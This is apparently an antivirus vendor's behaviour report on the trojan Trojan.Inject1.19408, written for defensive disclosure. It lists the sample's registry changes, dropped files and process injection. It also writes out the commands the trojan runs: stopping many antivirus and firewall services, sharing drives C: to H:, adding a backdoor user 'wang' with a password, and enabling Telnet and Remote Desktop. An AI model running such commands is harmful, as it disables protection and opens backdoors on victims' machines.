Trojan.Inject1.19408

Technical Information

To ensure autorun and distribution:

Creates the following services:

[<HKLM>\SYSTEM\ControlSet001\Services\winmgmt] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\TermService] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\Schedule] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\TlntSvr] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\lanmanserver] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\COMSysApp] 'Start' = '00000002'

Malicious functions:

Creates and executes the following:

%PROGRAM_FILES%\РЎУоєуГЕ\1.exe
%PROGRAM_FILES%\РЎУоєуГЕ\2.exe

Executes the following:

<SYSTEM32>\net.exe stop fch32
<SYSTEM32>\net1.exe stop fameh32
<SYSTEM32>\net1.exe stop fch32
<SYSTEM32>\net1.exe stop fih32
<SYSTEM32>\net.exe stop fih32
<SYSTEM32>\net.exe stop fameh32
<SYSTEM32>\net.exe stop EVPN
<SYSTEM32>\net1.exe stop ETRUSTCIPE
<SYSTEM32>\net1.exe stop EVPN
<SYSTEM32>\net1.exe stop EXPERT
<SYSTEM32>\net.exe stop EXPERT
<SYSTEM32>\net.exe stop fnrb32
<SYSTEM32>\net.exe stop fsm32
<SYSTEM32>\net1.exe stop fsgk32
<SYSTEM32>\net1.exe stop fsm32
<SYSTEM32>\net1.exe stop fsma32
<SYSTEM32>\net.exe stop fsma32
<SYSTEM32>\net.exe stop fsgk32
<SYSTEM32>\net.exe stop fsaa
<SYSTEM32>\net1.exe stop fnrb32
<SYSTEM32>\net1.exe stop fsaa
<SYSTEM32>\net1.exe stop fsav32
<SYSTEM32>\net.exe stop fsav32
<SYSTEM32>\net1.exe stop CLEANER3
<SYSTEM32>\net.exe stop CLEANER3
<SYSTEM32>\net.exe stop CMGRDIAN
<SYSTEM32>\net.exe stop CONNECTIONMONITOR
<SYSTEM32>\net1.exe stop CMGRDIAN
<SYSTEM32>\net1.exe stop CLEANER
<SYSTEM32>\net1.exe stop CLAW95
<SYSTEM32>\net.exe stop CLAW95
<SYSTEM32>\net.exe stop CLAW95CF
<SYSTEM32>\net.exe stop CLEANER
<SYSTEM32>\net1.exe stop CLAW95CF
<SYSTEM32>\net1.exe stop CONNECTIONMONITOR
<SYSTEM32>\net1.exe stop DVP95
<SYSTEM32>\net.exe stop DVP95
<SYSTEM32>\net.exe stop EFPEADM
<SYSTEM32>\net.exe stop ETRUSTCIPE
<SYSTEM32>\net1.exe stop EFPEADM
<SYSTEM32>\net1.exe stop DOORS
<SYSTEM32>\net1.exe stop defscangui
<SYSTEM32>\regsvr32.exe stop defscangui
<SYSTEM32>\net.exe stop DEFWATCH
<SYSTEM32>\net.exe stop DOORS
<SYSTEM32>\net1.exe stop DEFWATCH
<SYSTEM32>\net.exe stop ISRV95
<SYSTEM32>\net1.exe stop IOMON98
<SYSTEM32>\net1.exe stop ISRV95
<SYSTEM32>\net1.exe stop JEDI
<SYSTEM32>\net.exe stop JEDI
<SYSTEM32>\net.exe stop IOMON98
<SYSTEM32>\net.exe stop ICSUPPNT
<SYSTEM32>\net1.exe stop ICSUPP95
<SYSTEM32>\net1.exe stop ICSUPPNT
<SYSTEM32>\net1.exe stop IFACE
<SYSTEM32>\net.exe stop IFACE
<SYSTEM32>\net.exe stop LDNETMON
<SYSTEM32>\net.exe stop LOCKDOWN2000
<SYSTEM32>\net1.exe stop LOCKDOWN
<SYSTEM32>\net1.exe stop LOCKDOWN2000
<SYSTEM32>\net1.exe stop LUALL
<SYSTEM32>\net.exe stop LUALL
<SYSTEM32>\net.exe stop LOCKDOWN
<SYSTEM32>\net.exe stop LDPROMENU
<SYSTEM32>\net1.exe stop LDNETMON
<SYSTEM32>\net1.exe stop LDPROMENU
<SYSTEM32>\net1.exe stop LDSCAN
<SYSTEM32>\net.exe stop LDSCAN
<SYSTEM32>\net1.exe stop GUARD
<SYSTEM32>\net.exe stop GUARD
<SYSTEM32>\net.exe stop GUARDDOG
<SYSTEM32>\net.exe stop HELP
<SYSTEM32>\net1.exe stop GUARDDOG
<SYSTEM32>\net1.exe stop GENERICS
<SYSTEM32>\net1.exe stop fsmb32
<SYSTEM32>\net.exe stop fsmb32
<SYSTEM32>\net.exe stop gbmenu
<SYSTEM32>\net.exe stop GENERICS
<SYSTEM32>\net1.exe stop gbmenu
<SYSTEM32>\net1.exe stop HELP
<SYSTEM32>\net1.exe stop ICLOADNT
<SYSTEM32>\net.exe stop ICLOADNT
<SYSTEM32>\net.exe stop ICMON
<SYSTEM32>\net.exe stop ICSUPP95
<SYSTEM32>\net1.exe stop ICMON
<SYSTEM32>\net1.exe stop ICLOAD95
<SYSTEM32>\net1.exe stop IAMAPP
<SYSTEM32>\net.exe stop IAMAPP
<SYSTEM32>\net.exe stop IAMSERV
<SYSTEM32>\net.exe stop ICLOAD95
<SYSTEM32>\net1.exe stop IAMSERV
<SYSTEM32>\net.exe stop AMON9X
<SYSTEM32>\net1.exe stop ALOGSERV
<SYSTEM32>\net1.exe stop AMON9X
<SYSTEM32>\net1.exe stop ANTI-TROJAN
<SYSTEM32>\net.exe stop ANTI-TROJAN
<SYSTEM32>\net.exe stop ALOGSERV
<SYSTEM32>\net.exe stop ADVXDWIN
<SYSTEM32>\net1.exe stop ACKWIN32
<SYSTEM32>\net1.exe stop ADVXDWIN
<SYSTEM32>\net1.exe stop ALERTSVC
<SYSTEM32>\net.exe stop ALERTSVC
<SYSTEM32>\net.exe stop ANTS
<SYSTEM32>\net.exe stop ATWATCH
<SYSTEM32>\net1.exe stop ATupdateR
<SYSTEM32>\net1.exe stop ATWATCH
<SYSTEM32>\net1.exe stop AUTODOWN
<SYSTEM32>\net.exe stop AUTODOWN
<SYSTEM32>\net.exe stop ATupdateR
<SYSTEM32>\net.exe stop apvxdwin
<SYSTEM32>\net1.exe stop ANTS
<SYSTEM32>\net1.exe stop apvxdwin
<SYSTEM32>\net1.exe stop ATCON
<SYSTEM32>\net.exe stop ATCON
<SYSTEM32>\net1.exe share g$=g:
<SYSTEM32>\net1.exe share f$=f:
<SYSTEM32>\net1.exe share h$=h:
<SYSTEM32>\sc.exe config TlntSvr start= AUTO
<SYSTEM32>\net1.exe share admin$
<SYSTEM32>\net1.exe share e$=e:
<SYSTEM32>\net1.exe user wang 4820227 /add
<SYSTEM32>\cmd.exe /c ""%TEMP%\1.bat""
<SYSTEM32>\net1.exe localgroup %USERNAME%s wang /add
<SYSTEM32>\net1.exe share d$=d:
<SYSTEM32>\net1.exe share c$=c:
<SYSTEM32>\sc.exe config lanmanserver start= AUTO
<SYSTEM32>\regsvr32.exe /s <SYSTEM32>\tlntsvrp.dll
<SYSTEM32>\tlntsvr.exe
<SYSTEM32>\net1.exe start TermService
<SYSTEM32>\net.exe stop ACKWIN32
<SYSTEM32>\net1.exe start schedule
<SYSTEM32>\net1.exe start telnet
<SYSTEM32>\sc.exe config winmgmt start= AUTO
<SYSTEM32>\sc.exe config comsysapp start= AUTO
<SYSTEM32>\sc.exe config TermService start= AUTO
<SYSTEM32>\net1.exe start Server
<SYSTEM32>\sc.exe config Schedule start= AUTO
<SYSTEM32>\net.exe stop AVSYNMGR
<SYSTEM32>\net1.exe stop Avsched32
<SYSTEM32>\net1.exe stop AVSYNMGR
<SYSTEM32>\net1.exe stop AVWINNT
<SYSTEM32>\net.exe stop AVWINNT
<SYSTEM32>\net.exe stop Avsched32
<SYSTEM32>\net.exe stop AVPCC
<SYSTEM32>\net1.exe stop AVP32
<SYSTEM32>\net1.exe stop AVPCC
<SYSTEM32>\net1.exe stop AVPM
<SYSTEM32>\net.exe stop AVPM
<SYSTEM32>\net.exe stop AVXMONITOR9X
<SYSTEM32>\net.exe stop BLACKD
<SYSTEM32>\net1.exe stop AVXW
<SYSTEM32>\net1.exe stop BLACKD
<SYSTEM32>\net1.exe stop BLACKICE
<SYSTEM32>\net.exe stop BLACKICE
<SYSTEM32>\net.exe stop AVXW
<SYSTEM32>\net.exe stop AVXMONITORNT
<SYSTEM32>\net1.exe stop AVXMONITOR9X
<SYSTEM32>\net1.exe stop AVXMONITORNT
<SYSTEM32>\net1.exe stop AVXQUAR
<SYSTEM32>\net.exe stop AVXQUAR
<SYSTEM32>\net1.exe stop AVGCTRL
<SYSTEM32>\net.exe stop AVGCTRL
<SYSTEM32>\net.exe stop AVGSERV
<SYSTEM32>\net.exe stop AVGSERV9
<SYSTEM32>\net1.exe stop AVGSERV
<SYSTEM32>\net1.exe stop AVGCC32
<SYSTEM32>\net1.exe stop AutoTrace
<SYSTEM32>\net.exe stop AutoTrace
<SYSTEM32>\net.exe stop AVCONSOL
<SYSTEM32>\net.exe stop AVGCC32
<SYSTEM32>\net1.exe stop AVCONSOL
<SYSTEM32>\net1.exe stop AVGSERV9
<SYSTEM32>\net1.exe stop avkservice
<SYSTEM32>\net.exe stop avkservice
<SYSTEM32>\net.exe stop avkwctl9
<SYSTEM32>\net.exe stop AVP32
<SYSTEM32>\net1.exe stop avkwctl9
<SYSTEM32>\net1.exe stop AVKSERV
<SYSTEM32>\net1.exe stop AVGW
<SYSTEM32>\net.exe stop AVGW
<SYSTEM32>\net.exe stop avkpop
<SYSTEM32>\net.exe stop AVKSERV
<SYSTEM32>\net1.exe stop avkpop

Injects code into

the following system processes:

<SYSTEM32>\regsvr32.exe

Modifies file system :

Creates the following files:

%HOMEPATH%\Start Menu\Programs\РЎУоєуГЕ\Р¶ФШєуГЕ.lnk
%HOMEPATH%\Start Menu\Programs\РЎУоєуГЕ\ОТµДВЫМі.lnk
%HOMEPATH%\Start Menu\Programs\РЎУоєуГЕ\ґтїЄєуГЕ.lnk
%TEMP%\exe3.tmp
%TEMP%\1.bat
%PROGRAM_FILES%\РЎУоєуГЕ\uninst.exe
%TEMP%\E_4\krnln.fnr
%PROGRAM_FILES%\РЎУоєуГЕ\1.exe
%PROGRAM_FILES%\РЎУоєуГЕ\install.log
%TEMP%\nsv2.tmp
%PROGRAM_FILES%\РЎУоєуГЕ\РЎУоєуГЕ.url
%PROGRAM_FILES%\РЎУоєуГЕ\2.exe
%HOMEPATH%\Desktop\РЎУоєуГЕ.lnk

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial